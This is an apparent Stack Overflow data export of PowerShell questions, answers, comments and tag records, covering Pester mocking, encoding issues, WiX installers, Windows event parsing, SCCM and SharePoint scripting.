has text: A proper csv import with quotes etc should be able to handle cr/lfs just fine, no need to cmdlet them away

http://stackoverflow.com/comment/139666595
has text: Some native programs behave differently when redirected. When you redirect to a file, using `cmd` shell, is the file actually encoded in UTF-8? `inv.exe getter segments >file.txt`. Then inspect the encoding using Notepad++ for instance.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79203758
score: 0

http://stackoverflow.com/comment/139694104
score: 1
has text: So, what _does_ `AS := $(CONFIG).assembly.assembler` return exactly and why can't you use that syntax for the other variables? (`LD := $(CONFIG).assembly.linker` etc.)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79219476

http://stackoverflow.com/comment/139473996
type: Comment
comment on: http://stackoverflow.com/q/79096023
has text: No, because it's the newest version that has the problem, not the older versions, as I stated.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139707843
type: AnswerComment
has text: So, Powershell is using .Net under the hood ? If so, as you explain, I need to follow the rules you explain. I am getting the same results when I try to execute the Powershell code. But, when I try to modify my batch script as you explained : set myFormat=dd\/MM set LOCALE_INDEPENDENT_GET_DATE_CMD=powershell -NonInteractive -Command "Get-Date -Format %DATE_FORMAT%" for /F "tokens=1,2 delims=\/" %%i IN ('%LOCALE_INDEPENDENT_GET_DATE_CMD%') DO ( set dd=%%i set mm=%%j ) I am still getting unexpected output with Format: English (United States), Short Time: yyyy-MM-dd
type: Comment
comment on: http://stackoverflow.com/a/79227270
score: 0

http://stackoverflow.com/comment/139471750
type: Comment
score: 0
type: AnswerComment
has text: The input is not a valid Base-64 string as it contains a non-base 64 character, more than two padding characters, or an illegal character among the padding characters at two place getting this error: $SourceCloudTable = (Get-AzStorageTable -Name $sourcetablename -Context $SourceCtx).CloudTable $DestinationCtx = New-AzStorageContext -StorageAccountName $destinationstorageaccountname -StorageAccountKey $destinationkey
comment on: http://stackoverflow.com/a/79097057

http://stackoverflow.com/comment/139644994
type: AnswerComment
type: Comment
has text: In the task sequence it calls the powershell script using a similar path. Not sure what the full path is in that moment of the sequence.
comment on: http://stackoverflow.com/a/79192362
score: 0

http://stackoverflow.com/comment/139486013
has text: @DennisHiggins: please see my updated answer. In short: `Import-Csv` actually _defaults_ to UTF-8, whereas your CSV file seems to be ANSI-encoded.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79105294

http://stackoverflow.com/comment/139566807
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79149903
has text: Does this answer your queshion: [How to extend a dictionary class](https://stackoverflow.com/a/76240382/1701026)?
score: 2

http://stackoverflow.com/comment/139567720
score: 0
type: AnswerComment
has text: @KadenWarren Sorry, but that is nonsence.. You should stop killing the script with another script and instead make the first script better by testing the directory first and only if that exists create the shortcut. Then use `ReleaseComObject` on the objects you have created. Even better is that you let the PowerShell script itself loop over the list of `COMPUTER1/insert ip here`. That way you can create the WshShell COM object just once before the loop and reuse that inside the loop. Afterwards, you release it from memory. Once a script is killed, you cannot target the COM objects it created
type: Comment
comment on: http://stackoverflow.com/a/79150671

http://stackoverflow.com/comment/139583537
score: 1
comment on: http://stackoverflow.com/q/79158483
type: QuestionComment
type: Comment
has text: Try using `EnumWindows` instead of `FindWindow`, example implementation here: https://stackoverflow.com/a/78991989/15339544

http://stackoverflow.com/comment/139449282
score: 0
has text: Thanks for answering my question. So basically its not possible to use any Custom Icons for MessageBoxImage. What i need to do is build a custom MessageBox from scratch. Is there some documentation where it explains on how to do that? Best Regards Philip
comment on: http://stackoverflow.com/q/79085306
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79072962
tagged with: powershell
has title: Test Invocations of `Set-NetFirewallProfile` having the `-Profile` argument using Pester mocking
answer count: 1
type: AnsweredQuestion
tagged with: pester
score: 0
tagged with: pester-5
accepted answer: http://stackoverflow.com/a/79073428
has answer: http://stackoverflow.com/a/79073428
has body: I am working on some unit tests for a powershell module and I am at a loss for how to test if the Set-NetfirewallProfile was called with the correct parameters. It seems that I am not correctly filtering for the -Profile argument. I've scoured the web for any documentation on the parameter, I've used the debug option in vscode to see how it was called: ... Mock: Running mock filter { $Enabled -eq $false -and $PesterBoundParameters.Profile -eq "Domain,Public,Private" } with context: Profile = Domain Public Private, Name = Domain Public Private, Enabled = False. Mock: Mock filter returned value 'False', which is falsy. Filter did not pass. ... I've tried to modify the filters I am using based on this info, but the test still fails. Here is a simplified version of the test that is failing (but should pass): Describe "Test-Example" { BeforeAll { # Example unit under test: function Test-Example { Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False } Mock Set-NetFirewallProfile } It "should disable the firewall" { Test-Example Should -Invoke -CommandName Set-NetFirewallProfile -Times 1 -Exactly -ParameterFilter { $Enabled -eq $false -and $PesterBoundParameters.Profile -eq "Domain,Public,Private" } -Scope It } } I tried to use this filter for the Profile instead, which failed: $PesterBoundParameters.Profile -eq "Domain Public Private" If I remove $PesterBoundParameters.Profile -eq "Domain,Public,Private" from the Parameter filters, the test then passes.
type: Question
linked to: http://stackoverflow.com/q/9598173

terminal
tag name: terminal
tags question: http://stackoverflow.com/q/79095935
tags question: http://stackoverflow.com/q/79161849
tags question: http://stackoverflow.com/q/79220211
tags question: http://stackoverflow.com/q/79215078
tags question: http://stackoverflow.com/q/79208376
tags question: http://stackoverflow.com/q/79141597
tags question: http://stackoverflow.com/q/79208164
type: Tag
tags question: http://stackoverflow.com/q/79427895

tshark
tags question: http://stackoverflow.com/q/79148127
type: Tag
tag name: tshark

http://stackoverflow.com/comment/139682254
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79211416
has text: Glad to hear it, @Grismar; my pleasure.

http://stackoverflow.com/comment/139642911
comment on: http://stackoverflow.com/a/79178363
type: Comment
score: 0
has text: while creating new pipeline it always create new branch , how to create new pipeline with old branch so that i can put both pipeline on same branch ? @Rui
type: AnswerComment

http://stackoverflow.com/comment/139616992
comment on: http://stackoverflow.com/a/79173864
type: AnswerComment
score: 1
type: Comment
has text: Thanks! I've also found there is another pattern for consuimg items from the collection `foreach ($item in $buffer.GetConsumingEnumerable()) { ... }` which nicely fits my use case.

http://stackoverflow.com/comment/139528995
score: 0
has text: @Doofus yes I have. I get the output that I posted.
type: AnswerComment
comment on: http://stackoverflow.com/a/79126797
type: Comment

http://stackoverflow.com/comment/139756060
type: AnswerComment
type: Comment
score: 0
has text: get-cim - I think it is a firewall issue in-house. no worries, I can work around it. Columns - probably 2 groups for each pc, (Drive_Letter, Volume, Size, Free for each drive)
comment on: http://stackoverflow.com/a/79211175

http://stackoverflow.com/comment/139469877
has text: Where are you running the above script?
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79096641
type: QuestionComment

http://stackoverflow.com/comment/139605545
type: QuestionComment
type: Comment
has text: write-host converts the object to a string
score: 1
comment on: http://stackoverflow.com/q/79170631

http://stackoverflow.com/a/79108903
type: Answer
has body: wevtutil.exe returns STRINGS, not objects. Out-GridView and Sort-Object have thus no Properties they can use to sort them. You can either: work aound that by extract and convert data and properties from the string output. It's a hassle and not worth it because you can... just use Get-WinEvent as suggested by @repic
answers question: http://stackoverflow.com/q/79103519
score: 0

http://stackoverflow.com/comment/139593794
comment on: http://stackoverflow.com/q/79164455
type: QuestionComment
type: Comment
has text: What do you want to replace the crlf with?
score: 1

http://stackoverflow.com/a/79101993
type: Answer
downvote count: 0
score: 1
upvote count: 1
has body: tl;dr: Your PowerShell script refers to a user-specific environment variable $env:APPDATA, but the custom action is run without impersonation. This causes you script to be run in the context of the local system user, writing the JSON to a different path than intended. The hotfix would be to set Impersonate="yes" on the custom action, but as your product is installed for all users (InstallScope="perMachine"), the fix will only work for the specific use case that the installing user is identical to the user that will actually use the software (which typically isn't the case in corporate environments where software is installed by admins or even in home use, when multiple persons are using the same computer). Changing to an actual per-user installation (InstallScope="perUser") might be a more sensible fix. The following suggestions are intended to help you diagnose PowerShell custom action issues more easily in the future. PowerShell Custom Action For running PowerShell scripts I strongly recommend to use the quiet execution custom actions (note the different action names for WiX v3 and v4/5). Advantages: Prevents the brief popup of the console window - a problem that persists even when using parameter -WindowStyle hidden with powershell.exe. Redirects all PowerShell output to the MSI log, so logging can be done through simple Write-Host statements. PowerShell script suggestions Best practice for PowerShell scripts is to set $ErrorActionPreference = 'Stop' as early as possible in the script, so errors won't go by unnoticed. The effect is that any error is automatically turned into a script-terminating error, which causes a PowerShell exit code that is different from zero, so Windows Installer can detect and report the error. In cases where you want to selectively suppress script-terminating errors (typically for explicit testing in conditions), you would pass -ErrorAction Continue (to report the error and continue) or -ErrorAction SilentlyContinue (to continue without …
answers question: http://stackoverflow.com/q/79099875

http://stackoverflow.com/comment/139551415
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79127010
has text: That's a good point, I have added `Sleep -Seconds 1` in between each share open and will report back how that works. If it doesn't, I'll try the Get-Item as well
type: Comment

http://stackoverflow.com/a/79148116
answers question: http://stackoverflow.com/q/79147832
downvote count: 0
type: Answer
score: 1
has body: I assume, I found the problem. The Powershell extension is blocked by AppLocker. I found this in the Event Logs: %OSDRIVE%\USERS\DOMSCHEIT.VSCODE\EXTENSIONS\MS-VSCODE.POWERSHELL-2024.2.2\MODULES\POWERSHELLEDITORSERVICES\COMMANDS\POWERSHELLEDITORSERVICES.COMMANDS.TYPES.PS1XML was prevented from running. Settings: The following error occurred while loading the extended type data file: , C:\Users\domscheit.vscode\extensions\ms-vscode.powershell-2024.2.2\modules\PowerShellEditorServices\Commands\PowerShellEditorServices.Commands.types.ps1xml: The file was skipped because of the following validation exception: File C:\Users\domscheit.vscode\extensions\ms-vscode.powershell-2024.2.2\modules\PowerShellEditorServices\Commands\PowerShellEditorServices.Commands.types.ps1xml cannot be loaded because its operation is blocked by software restriction policies, such as those created by using Group Policy.. Looks like I have to talk to our IT Security guys.
upvote count: 1

http://stackoverflow.com/comment/139588581
type: AnswerComment
comment on: http://stackoverflow.com/a/79161253
type: Comment
has text: two suggestions: 1. `$NotMatchPattern = $array2 + 'Master' + 'Develop' -join '|'` because `$Array2` is generated dynamically so this will add "Master" and "Develop" regardless of the contents. 2. piping `$array1` to `Where-Object` or using `.Where()` for better readibility if performance is not the most important
score: 0

http://stackoverflow.com/q/79223805
has title: Powershell-- how to add a variable's value into a filter?
tagged with: powershell
has comment: http://stackoverflow.com/comment/139701180
score: 0
has comment: http://stackoverflow.com/comment/139701149
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79223865
has body: I have this script where we have to manually change the computername prefix each time we run it at a different location #you will need to change the site prefix from "xyz00" to whatever your site prefix is $computers = Get-ADComputer -filter {name -like "xyz00s*"} |Select-Object -ExpandProperty Name The hostnames would be xyz00s1, xyz00s2, xyz00s3, etc. etc. Always the site prefix followed by the letter s. I would like to integrate a Read-Host into this but I can't seem to get the syntax correct. $prefix =read-host "Enter the prefix of the site you are working on" $computers = Get-ADComputer -filter {name -like "$prefix + 's'*" } |Select-Object -ExpandProperty Name I've tried various combinations of " and ' and () and + and += etc.. Any guidance appreciated. I think it's because it's within the 'filter' that is causing the issues.
tagged with: active-directory
type: Question
has comment: http://stackoverflow.com/comment/139701113
answer count: 1

http://stackoverflow.com/comment/139626610
score: 4
type: QuestionComment
has text: I mean that you can just do `[ValidateSet('cat', 'dog', 'fish')]` for your specific example.
type: Comment
comment on: http://stackoverflow.com/q/79182266

http://stackoverflow.com/comment/139447521
comment on: http://stackoverflow.com/q/79084361
score: 0
has text: @mklement0 It seems that the command $out = (python3 --version *>&1).ToString() doesn't work either and returns the error "You cannot call a method on a null-valued expression"
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139486490
type: QuestionComment
type: Comment
has text: As nobody has commented yet on your submitted code, it should read as ```CD /D C:\```, not ```CD c:/```. Windows uses backward slashes for the root directory, and all directory separators. Also, to change drives, you must use the `/D` option with the `CD` command.
score: 1
comment on: http://stackoverflow.com/q/79102588

http://stackoverflow.com/comment/139425381
type: QuestionComment
type: Comment
has text: As an aside: `$OutputEncoding` and `[Console]::OutputEncoding` only matter with respect to communication with _external programs_.
score: 0
comment on: http://stackoverflow.com/q/79072446

output
tags question: http://stackoverflow.com/q/79203758
tag name: output
type: Tag
tags question: http://stackoverflow.com/q/79532202

internet-explorer
tags question: http://stackoverflow.com/q/79210976
tag name: internet-explorer
type: Tag

http://stackoverflow.com/q/79115944
tagged with: powershell
has body: I have created a powershell script that checks a Deployment ID in sccm and then pulls all the members in the deployment and checks the deployment status for the members. The script is able to pull the members, however, it cannot pull the Deployment Status for any of the members that it needs to check through. If possible, I would like to avoid using SQL. I just need to pull a huge report once a day that I can use to compare to another. However, I cannot figure out how to pull the Deployment Status. # Import SCCM module Import-Module ($Env:SMS_ADMIN_UI_PATH.Substring(0,$Env:SMS_ADMIN_UI_PATH.Length-5) + '\ConfigurationManager.psd1') # Change directory to the SCCM site code cd "ABC:\" # Define the deployment ID $deploymentID = "{B4901AE9-8501-4C32-B5BB-7AC098765B63}" # Define the script directory and date-based folder $ScriptDir = Split-Path $script:MyInvocation.MyCommand.Path $date = Get-Date -Format "MM.dd.yyyy" $childFolder = "$ScriptDir\$date" New-Item -ItemType Directory -Path $childFolder -Force # Define the output CSV path $csvPath = "$childFolder\DeploymentStatus-$date.csv" # Create CSV with custom column names $headers = [PSCustomObject]@{ "Member Name" = $null "Deployment Status" = $null } $headers | Export-Csv -Path $csvPath -NoTypeInformation Write-Host "CSV file created with custom column names at $csvPath" # Retrieve deployment status $results = @() $deployments = Get-CMDeployment | Where-Object { $_.DeploymentID -eq $deploymentID } # Debugging step to print out the retrieved deployments Write-Host "Retrieved deployments:" $deployments | Format-Table -AutoSize foreach ($deployment in $deployments) { $devices = Get-CMDevice -CollectionID $deployment.CollectionID foreach ($device in $devices) { # Debugging step to print out the device name Write-Host "Processing device: $($device.Name)" # Retrieve the status for each device using case-insensitive comparison $status = Get-CMDeploymentStatus -DeploymentID $deploymentID | Where-Object { $_.ResourceName -ieq $…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139507210
score: 0
has comment: http://stackoverflow.com/comment/139514420
has title: Unable to Get Deployment Status of Devices in SCCM via PowerShell
tagged with: sccm
has comment: http://stackoverflow.com/comment/139512146
type: Question
has answer: http://stackoverflow.com/a/79162518
answer count: 1

http://stackoverflow.com/a/79087038
answers question: http://stackoverflow.com/q/79085306
type: Answer
downvote count: 0
has body: Here's a snippet of the code I use: #--- Form Drawing References --- $Form_Width = 650 #950 $Form_Height = 275 #605 $Btn_Height = 35 $tabWidth = $Form_Width-10 $cboxHeight = 30 $cboxWidth = 200 $cboxFontSize = 18 $tboxHeight = 30 $tboxWidth = 220 $StdSpacing = 35 $CkBoxSpacing = 10 $ExitBtnWidth = 80 $ExecuteBtnWidth = 100 $StatusWidth = $Form_Width - ($ExitBtnWidth+$ExecuteBtnWidth+45) $IconFile = "$($PSScriptRoot)\ComputerMentor.ico" If (-not (Test-Path -Path "$IconFile")){ $Message = "Error Icon file not found:`n" + "$IconFile`n" + "Please copy file to $PSScriptRoot`n" + "Default Icon in use!" & $StatusMsg $JPArgs = @{Path = "C:\Windows\Installer" ChildPath = "{F895A69B-7C3F-49AD-83FC-A87B31EFF8F3}\PowerShellExe.ico"} $IconFile = Join-Path @JPArgs } $WindowTitle = "CM's Set MicroSoft Office 365 " + "Update Channel - Version: $PGMVers" [xml]$xaml = @" ... "@ $NOArgs = @{TypeName = 'System.Xml.XmlNodeReader' ArgumentList = $xaml} $reader=(New-Object @NOArgs) Try {$Form=[Windows.Markup.XamlReader]::Load( $reader )} Catch{Write-Host "Unable to load Windows.Markup.XamlReader." + "`nDouble-check syntax and ensure " + ".net is installed." } $Form.Topmost = $False $Form.Cursor = [System.Windows.Input.Cursors]::Hand Fill in your form's objects in place of the ...
upvote count: 1
score: 1

kill-process
tags question: http://stackoverflow.com/q/79149164
tag name: kill-process
type: Tag
tags question: http://stackoverflow.com/q/79493377

http://stackoverflow.com/comment/139726257
has text: Do you mind saying a few words why the change? I see you removed something called `[runspacefactory]` and added some `$token`. I don't understand what that token does, and don't see it defined anywhere.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79228955
type: Comment

exchange-online
tags question: http://stackoverflow.com/q/79085336
type: Tag
tag name: exchange-online
tags question: http://stackoverflow.com/q/79110879
tags question: http://stackoverflow.com/q/79117908
tags question: http://stackoverflow.com/q/79334607
tags question: http://stackoverflow.com/q/79380511
tags question: http://stackoverflow.com/q/79386797
tags question: http://stackoverflow.com/q/79409696
tags question: http://stackoverflow.com/q/79380052
tags question: http://stackoverflow.com/q/79469875
tags question: http://stackoverflow.com/q/79525278
tags question: http://stackoverflow.com/q/79422044
tags question: http://stackoverflow.com/q/79475834

ui-automation
tags question: http://stackoverflow.com/q/79133582
tag name: ui-automation
type: Tag

http://stackoverflow.com/a/79086028
score: 1
downvote count: 0
type: Answer
has body: Try following. $filename = 'c:\temp\test.csv' $data = Get-Content -Path $filename | Select-Object -Skip 1 $table = [System.Collections.Generic.List[pscustomobject]]::new() foreach ($line in $data) { $fqdn = $line.substring(0,11).Trim() $days = $line.substring(11).split(@(';',',')) $newRow = New-Object -TypeName psobject foreach ($day in $days) { if($day.Length -ge 4) { $day -match '^(?&lt;days&gt;[^\d]*)(?&lt;hours&gt;.*)' | Out-Null $dayOfWeek = $Matches.days.trim() if($dayOfWeek.Length -gt 0) { $hours = $Matches.hours.trim() $newRow | Add-Member -NotePropertyName $dayOfWeek -NotePropertyValue $hours $previousDayOfWeek = $dayOfWeek } else { $newRow.$previousDayOfWeek += $day } } } $table.Add($newRow) | Out-Null } $table | Format-List Here is results Fri : 20:00-23:59 Sat : 00:00-23:59 Sun : 00:00-23:59 Mon : 00:00-07:00 Fri : 20:00-23:59 Sat : 00:00-23:59 Sun : 00:00-23:59 Mon : 00:00-07:00 Fri : 20:00-23:59 Sat : 00:00-23:59 Sun : 00:00-23:59 Mon : 00:00-07:00 Fri : 22:00-23:59 Sat : 00:00-23:59 Sun : 00:00-23:59 Mon : 00:00-07:00 Mon : 00:00-:08:45 23:00-23:59 Tue : 00:00-08:45 23:00-23:59 Wed : 00:00-08:45 23:00-23:59 Thu : 00:00-08:45 23:00-23:59 Fri : 00:00-08:45 23:00-23:59 Sat Fri : 00:00-08:45 23:00-23:59 Sun Fri : 00:00-08:45 23:00-23:59 Mon : 00:00-00:00 23:45-23:59 Tue : 00:00-00:00 23:45-23:59 Wed : 00:00-00:00 23:45-23:59 Thu : 00:00-00:00 23:45-23:59 Fri : 00:00-00:00 23:45-23:59 Sat : 00:00-00:00 23:45-23:59 Sun : 00:00-00:00 23:45-23:59 Mon : 00:00-00:00 23:45-23:59 Tue : 00:00-00:00 23:45-23:59 Wed : 00:00-00:00 23:45-23:59 Thu : 00:00-00:00 23:45-23:59 Fri : 00:00-00:00 23:45-23:59 Sat : 00:00-00:00 23:45-23:59 Sun : 00:00-00:00 23:45-23:59 Mon : 00:00-00:00 23:45-23:59 Tue : 00:00-00:00 23:45-23:59 Wed : 00:00-00:00 23:45-23:59 Thu : 00:00-00:00 23:45-23:59 Fri : 00:00-00:00 23:45-23:59 Sat : 00:00-00:00 23:45-23:59 Sun : 00:00-00:00 23:45-23:59
answers question: http://stackoverflow.com/q/79085285
has comment: http://stackoverflow.com/comment/139450150
has comment: http://stackoverflow.com/comment/139452240
upvote count: 1

http://stackoverflow.com/comment/139586084
comment on: http://stackoverflow.com/q/79160366
type: QuestionComment
type: Comment
score: 0
has text: Oh, I actually misread your last comment as "This __doesn't__ seem to work" my bad! So if piping the `$folder` array worked there can be 2 options, one can be that piping uses `-LiteralPath` instead of `-Path` and for some reason the paths had wildcard characters (which doesn't seem to be the case) or because you're using `-Force` which "Indicates that this cmdlet copies items that can't otherwise be changed, such as copying over a read-only file or alias.". You can try `-LiteralPath $folder.FullName` without `-Force` to see if that works otherwise it works cause `-Force`

http://stackoverflow.com/a/79216575
has comment: http://stackoverflow.com/comment/139690717
type: Answer
has comment: http://stackoverflow.com/comment/139688880
downvote count: 0
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139688889
answers question: http://stackoverflow.com/q/79216363
has body: You can use the same logic as the one shown in this answer however this comes with a caveat, the obtained Protocol and Direction will be uint and ushort and there isn't an available API that handles this translation from those values to human readable data, i.e. 6 -> Inbound, 1 -> TCP, etc. The event message is created by the EvtFormatMessage function. If that doesn't matter for you then use this approach: $selector = [System.Diagnostics.Eventing.Reader.EventLogPropertySelector]::new( [string[]]@( "Event/EventData/Data[@Name='Protocol']" "Event/EventData/Data[@Name='Direction']" "Event/EventData/Data[@Name='RuleName']" "Event/EventData/Data[@Name='ApplicationPath']")) Get-WinEvent -FilterHashtable ..... | ForEach-Object { $Protocol, $Direction, $RuleName, $ApplicationPath = $_.GetPropertyValues($selector) [pscustomobject]@{ TimeCreated = $_.TimeCreated Protocol = $Protocol Direction = $Direction RuleName = $RuleName ApplicationPath = $ApplicationPath } } Otherwise, you can extract those values from the .Message via regex, this approach seem to work: $selector = [System.Diagnostics.Eventing.Reader.EventLogPropertySelector]::new( [string[]]@( "Event/EventData/Data[@Name='RuleName']" "Event/EventData/Data[@Name='ApplicationPath']")) Get-WinEvent -FilterHashtable ..... | ForEach-Object { $RuleName, $ApplicationPath = $_.GetPropertyValues($selector) $Direction, $Protocol = [regex]::Match( $_.Message, '(?s)Direction:\s*(? [^\n]+).+Protocol:\s*(?<prot>[^\n]+)'). Groups['dir', 'prot'].Value [pscustomobject]@{ TimeCreated = $_.TimeCreated Protocol = $Protocol Direction = $Direction RuleName = $RuleName ApplicationPath = $ApplicationPath } }
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139690701
accepted answer of: http://stackoverflow.com/q/79216363

http://stackoverflow.com/comment/139534674
has text: Thank you. I think your link is invalid. You link to Trend Micro, not Microsoft docs
type: Comment
comment on: http://stackoverflow.com/a/79107020
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139495787
has text: That was it! Thank you! I'm pretty sure it was due to OneDrive moving my Desktop directory into OneDrive.
comment on: http://stackoverflow.com/a/79111010
score: 1
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79101817
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/139498772
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139498830
answers question: http://stackoverflow.com/q/79101110
type: Answer
downvote count: 0
has body: PowerShell allows you to treat any parsed [xml] document as an object graph that you can drill into using regular dot notation, because PowerShell surfaces XML (child) elements and XML attributes as namespace-less properties on each object (XML node) in the graph - see this answer for additional information. While something like [xml]$xml = Get-Content -Path ... is a convenient way to read an XML file into an [xml] instance, it is best avoided, because it risks using the wrong character encoding - see this answer for additional information. Therefore: # Robustly load and parse the XML file. ($xml = [xml]::new()).Load((Convert-Path .\AppInfo.xml)) # Use dot notation (which is namespace-agnostic) to drill down to # the element of interest. $xml.ProjectRuntimeInfo.SolutionPath Alternatively and more concisely, use Select-Xml with an XPath query: ( Select-Xml -LiteralPath .\AppInfo.xml '/ProjectRuntimeInfo/SolutionPath' ).Node.InnerText Note: Unlike the dot notation used in the first solution, Select-Xml (as well as the underlying .NET APIs) is namespace-aware, which must be taken into account. The only reason it isn't necessary here is that the target element is neither in a default namespace nor in an explicit one (via an element-name prefix). For an example of a Select-Xml solution that involves namespace handling, see this answer.
accepted answer of: http://stackoverflow.com/q/79101110

http://stackoverflow.com/comment/139645963
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79186126
has text: If you post the code you currently have I am more than happy to try and assist you.
type: Comment

http://stackoverflow.com/comment/139596928
score: 0
comment on: http://stackoverflow.com/q/79140459
has text: @jdweng That's basically what I do with `[int][Microsoft.HyperV.Powershell.VMOperationalStatus]::"Ok"`. The thing is that I don't get "OK" but a localized version, which isn't even an enum, but a simple string.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79183024
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/139634985
tagged with: windows
accepted answer: http://stackoverflow.com/a/79204883
has comment: http://stackoverflow.com/comment/139665648
has answer: http://stackoverflow.com/a/79204883
has comment: http://stackoverflow.com/comment/139634296
type: Question
has title: How can I obtain the user's Logon Session SID (e.g. S-1-5-5-X-Y) or otherwise verify RMF SC-23 Unique Identifiers in Windows
has answer: http://stackoverflow.com/a/79183903
has body: I have been tasked by our ISSO to verify RMF control SC-23 Session Authenticity for our Windows environment. In particular, they want me to provide a screenshot that each windows session has a unique identifier. I have found a number of methods but most seem questionable or unreliable. get-wmiobject Win32_LoggedOnUser: provides a "LogonId" but output varies depending on the executing user get-wmiobject Win32_session: Gives more or less the same info as Win32_LoggedOnUser query user: Provides a non-unique ID, usually 1 [System.Diagnostics.Process]::GetCurrentProcess().SessionId: provides the same answer as query user and all logged on sessions give the same answer 1 [Security.Principal.WindowsIdentity]::GetCurrent().User.Value: provides the current logged on user SID, not the session SID. Get-CimInstance -Class Win32_LUID: Provides no output on my system SysInternals logonsessions64.exe -p: Also provides a unique Logon Session: Logon session 00000000:000003e7 and may be viable but is not verifiable with documentation The best information I've received (https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers) indicates that the Unique Session ID should be a SID in the format S-1-5-5 -X-Y however I have found no information whatsoever on how to query that other than vague references to extracting it from the user's session token or C++ code that I don't know how to use. Some references suggest this information may also be called a LUID: Get UserToken from Logon ID (LUID) (C++) https://learn.microsoft.com/en-us/windows/win32/secgloss/l-gly?redirectedfrom=MSDN#_security_logon_identifier_gly However a search for LUID does not yield information that is helpful to me. Is there a powershell script or other command line tool that I can use to find the correct session SID? Or barring that, any documentation you can find to support the use of the logonsessions tool or wmi info? Edit: I already know the User SID starting with S-1-5-…
possible better answer: http://stackoverflow.com/a/79183903
tagged with: security
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/4534031
tagged with: sid

http://stackoverflow.com/a/79242509
score: 0
has body: tl;dr: n. m. could be an AI's answer is the right solution for v7.3+ of PowerShell (Core) 7. In (now obsolescent) lower versions as well as in Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1), you must additionally \-escape the embedded " characters. For background information, read on. Your fundamental problem was your use of a verbatim string (single-quoted, i.e. '...') when what you needed was a expandable (interpolating) string (double-quoted, i.e. "...") Switching to "..." quoting then requires escaping the embedded " characters, typically as `", using `, the so-called backtick, PowerShell's escape character, though "" works too. Instead of using embedded " to individually protect the spaces in your path, it is much simpler to enclose the entire RHS of = in embedded ": # PowerShell 7.3+ ... -DCMAKE_CXX_FLAGS="`"-IC:/Program Files (x86)/.../$(...)/um`"" However, a long-standing bug in Windows PowerShell (and PowerShell 7 versions 7.2 and below) makes it necessary to additionally \-escape embedded " characters; combined with PowerShell's own escaping, this means: \`" is needed inside "..." in order to correctly pass an embedded, escaped " character through to an external target program such as cmake.exe. # Windows PowerShell (and PowerShell 7.2-) ... -DCMAKE_CXX_FLAGS="\`"-IC:/Program Files (x86)/.../$(...)/um\`"" See this answer for background information. Note that if you need to write cross-edition scripts, you can get v7.3+ to exhibit the old behavior by setting $PSNativeCommandArgumentPassing = 'Legacy' Note that cmake is unusual in that it requires escaped " characters to be embedded in its arguments, even though it should be capable of recognizing -DCMAKE_CXX_FLAGS="-IC:/Program Files (x86)/.../$(...)/um" as a single argument, which it receives with the unescaped " characters stripped (e.g., verbatim -DCMAKE_CXX_FLAGS=-IC:/Program Files (x86)/.../x/um) Apparently, however, part of …
type: Answer
answers question: http://stackoverflow.com/q/79236266

http://stackoverflow.com/comment/139455749
score: 3
comment on: http://stackoverflow.com/q/79089000
type: QuestionComment
has text: The API key is connected to your user according to the documentation. Do you have permission to update this information?
type: Comment

http://stackoverflow.com/a/79102833
score: 0
has comment: http://stackoverflow.com/comment/139502754
has comment: http://stackoverflow.com/comment/139553878
has comment: http://stackoverflow.com/comment/139527319
has body: Headers are created but have been encrypted so they cannot be listed in UI. As long as you have provided the right value, this linked service should work well (test connection, copy, etc.)
type: Answer
answers question: http://stackoverflow.com/q/79091839

http://stackoverflow.com/q/79134578
has title: I need tips to increase my sharepoint script performance
tagged with: sharepoint-online
score: 0
type: UnansweredQuestion
has body: I created a script to export data to SharePoint Online. Basically, if there’s a change in AD, it should also update in SharePoint, or if the item doesn’t exist in SharePoint, it should then be created. Is there any way you see that could help me improve the script’s performance? Import-Module PnP.PowerShell $siteURL = "https://mytenant.sharepoint.com/sites/sitename" $primaryDomain = "mydomain.com" $clientId = "5502516a-48c3-4b7d-b7a7-c42809bdf9a0" $pfxPath = "C:\Users\f034067\OneDrive - Aethra Sistemas Automotivos S.A\Área de Trabalho\Pastas\Scripts\Scripts PowerShell\SharePoint Script\certificate.pfx" $senhaPath = "C:\Users\f034067\OneDrive - Aethra Sistemas Automotivos S.A\Área de Trabalho\Pastas\Scripts\Scripts PowerShell\SharePoint Script\senha.txt" try { $secureCertPassword = Get-Content $senhaPath | ConvertTo-SecureString $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($pfxPath, $secureCertPassword) $connectSplat = @{ Url = $siteURL ClientId = $clientId Tenant = $primaryDomain CertificatePath = $pfxPath CertificatePassword = $secureCertPassword } Connect-PnPOnline @connectSplat Write-Host "Autenticado no site SharePoint: $siteURL" } catch { Write-Host "Não foi possível autenticar no site ou ler o certificado: $_" exit } $existingItems = Get-PnPListItem -List "Membros do grupo" -Fields "Colaborador", "Grupo" $existingItemsHash = @{} foreach ($item in $existingItems) { $key = "$($item["Colaborador"])|$($item["Grupo"])" $existingItemsHash[$key] = $item } $getADGroupSplat = @{ LDAPFilter = '(&(|(name=F_*)(name=G_*)(name=CAX_*))(groupType:1.2.840.113556.1.4.803:=2147483648))' Properties = 'Name', 'Info', 'Description', 'Member' } $groups = Get-ADGroup @getADGroupSplat Start-PnPBatch 